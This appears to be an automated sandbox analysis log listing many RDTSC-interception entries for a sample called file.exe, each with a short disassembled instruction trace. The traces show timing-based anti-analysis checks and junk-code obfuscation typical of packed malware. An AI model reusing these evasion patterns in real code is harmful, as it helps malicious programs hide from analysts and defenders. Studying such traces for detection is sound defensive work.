Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C27D second address: F7C283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C283 second address: F7C288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C288 second address: F7C2E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FC870BD8058h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 clc 0x00000026 push 00000000h 0x00000028 mov edi, 2EC66858h 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007FC870BD8058h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000017h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 xchg eax, esi 0x0000004a push eax 0x0000004b push edx 0x0000004c pushad 0x0000004d push esi 0x0000004e pop esi 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7C2E0 second address: F7C2E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E51B second address: F7E521 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E521 second address: F7E54C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jnl 00007FC87074E0CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 jg 00007FC87074E0C6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F32F second address: F7F333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F333 second address: F7F337 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E6F4 second address: F7E71B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC870BD8066h 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F337 second address: F7F344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E71B second address: F7E721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F344 second address: F7F34A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7E721 second address: F7E726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F34A second address: F7F34F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7F34F second address: F7F354 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82D04 second address: F82D09 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82D09 second address: F82D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD805Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnp 00007FC870BD805Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F83B6D second address: F83B71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82F16 second address: F82F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85B01 second address: F85B28 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007FC87074E0C6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FC87074E0D6h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F85B28 second address: F85B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8725A second address: F8725F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8725F second address: F87265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F88340 second address: F88344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F884EB second address: F884EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8950F second address: F89513 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87450 second address: F8745A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FC870BD8056h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8A584 second address: F8A588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F884EF second address: F884FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C39A second address: F8C39E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8745A second address: F8745E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8A588 second address: F8A58E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C39E second address: F8C3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC870BD805Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F87521 second address: F8753B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007FC87074E0C6h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jnl 00007FC87074E0C8h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C582 second address: F8C608 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD8065h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D1BD2h], ecx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr fs:[00000000h], esp 0x0000001e push edi 0x0000001f sub ebx, dword ptr [ebp+122D39D1h] 0x00000025 pop ebx 0x00000026 mov eax, dword ptr [ebp+122D0F69h] 0x0000002c mov dword ptr [ebp+122D37E2h], edx 0x00000032 push FFFFFFFFh 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FC870BD8058h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 0000001Ah 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e jo 00007FC870BD8056h 0x00000054 nop 0x00000055 ja 00007FC870BD805Eh 0x0000005b push eax 0x0000005c jbe 00007FC870BD8068h 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C608 second address: F8C60C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E44E second address: F8E452 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E452 second address: F8E4D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FC87074E0C8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000018h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 movzx ebx, si 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FC87074E0C8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000015h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 and bx, 6FB9h 0x0000004b push 00000000h 0x0000004d cld 0x0000004e jnp 00007FC87074E0CCh 0x00000054 xchg eax, esi 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 jmp 00007FC87074E0CEh 0x0000005d pushad 0x0000005e popad 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E4D6 second address: F8E4E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E4E3 second address: F8E4F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FC87074E0CFh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91390 second address: F913A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD805Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913A6 second address: F913B0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC87074E0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F913B0 second address: F913DA instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC870BD805Eh 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007FC870BD8056h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jp 00007FC870BD8056h 0x0000001b jmp 00007FC870BD805Fh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91E9F second address: F91EA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91EA3 second address: F91EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 je 00007FC870BD8060h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95AF4 second address: F95B07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jnl 00007FC87074E0CEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F95B07 second address: F95B14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FC870BD8056h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA30BA second address: FA30E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jmp 00007FC87074E0CDh 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA30E0 second address: FA30E5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA30E5 second address: FA3114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC87074E0D9h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC87074E0CDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA3114 second address: FA3126 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC870BD805Bh 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA287E second address: FA2882 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29C0 second address: FA29EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC870BD8062h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007FC870BD8065h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA29EE second address: FA2A0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FC87074E0D7h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2A0B second address: FA2A18 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B50 second address: FA2B5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2B5A second address: FA2B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2CD6 second address: FA2CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC87074E0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2CE0 second address: FA2CFC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FC870BD8062h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2CFC second address: FA2D12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F776F0 second address: F776FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F776FB second address: F5585D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC87074E0D6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d call 00007FC87074E0C8h 0x00000012 pop edi 0x00000013 mov dword ptr [esp+04h], edi 0x00000017 add dword ptr [esp+04h], 00000015h 0x0000001f inc edi 0x00000020 push edi 0x00000021 ret 0x00000022 pop edi 0x00000023 ret 0x00000024 mov edi, dword ptr [ebp+122D382Dh] 0x0000002a lea eax, dword ptr [ebp+1248047Ch] 0x00000030 push eax 0x00000031 je 00007FC87074E0DDh 0x00000037 jmp 00007FC87074E0D7h 0x0000003c mov dword ptr [esp], eax 0x0000003f push 00000000h 0x00000041 push eax 0x00000042 call 00007FC87074E0C8h 0x00000047 pop eax 0x00000048 mov dword ptr [esp+04h], eax 0x0000004c add dword ptr [esp+04h], 00000016h 0x00000054 inc eax 0x00000055 push eax 0x00000056 ret 0x00000057 pop eax 0x00000058 ret 0x00000059 xor dx, CC51h 0x0000005e call dword ptr [ebp+122D3156h] 0x00000064 push eax 0x00000065 push edx 0x00000066 push ebx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7794E second address: F77976 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FC870BD8067h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007FC870BD8056h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77976 second address: F7797C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77DDE second address: F77DE3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77DE3 second address: F77E45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jo 00007FC87074E0CCh 0x00000012 jc 00007FC87074E0C6h 0x00000018 pushad 0x00000019 jmp 00007FC87074E0D7h 0x0000001e je 00007FC87074E0C6h 0x00000024 popad 0x00000025 popad 0x00000026 mov eax, dword ptr [eax] 0x00000028 jmp 00007FC87074E0D0h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FC87074E0D2h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77E45 second address: F77EA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007FC870BD8056h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007FC870BD8058h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 00000019h 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 mov dword ptr [ebp+122D1D0Eh], edi 0x0000002f call 00007FC870BD8059h 0x00000034 jl 00007FC870BD8069h 0x0000003a jmp 00007FC870BD8063h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77EA3 second address: F77EA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F77EA8 second address: F77EAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7802D second address: F78070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FC87074E0C6h 0x0000000a popad 0x0000000b jo 00007FC87074E0CCh 0x00000011 jng 00007FC87074E0C6h 0x00000017 popad 0x00000018 push eax 0x00000019 jmp 00007FC87074E0D6h 0x0000001e xchg eax, esi 0x0000001f push ecx 0x00000020 mov dword ptr [ebp+122D312Ah], eax 0x00000026 pop edx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b jbe 00007FC87074E0C6h 0x00000031 pop eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78320 second address: F78325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78325 second address: F7832B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F786DD second address: F786EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007FC870BD8056h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F786EB second address: F786EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F789CA second address: F789E2 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FC870BD8058h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F78A50 second address: F78A54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9351 second address: FA9371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007FC870BD805Ah 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FC870BD805Eh 0x00000014 jp 00007FC870BD8056h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9632 second address: FA9638 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9638 second address: FA9640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9640 second address: FA9644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9644 second address: FA9669 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC870BD8056h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FC870BD805Fh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jo 00007FC870BD8056h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA980E second address: FA9812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9812 second address: FA9818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9973 second address: FA9977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA9977 second address: FA997B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB825B second address: FB8286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FC87074E0CCh 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC87074E0D5h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB84F9 second address: FB8503 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FC870BD8056h 0x0000000a rdtsc
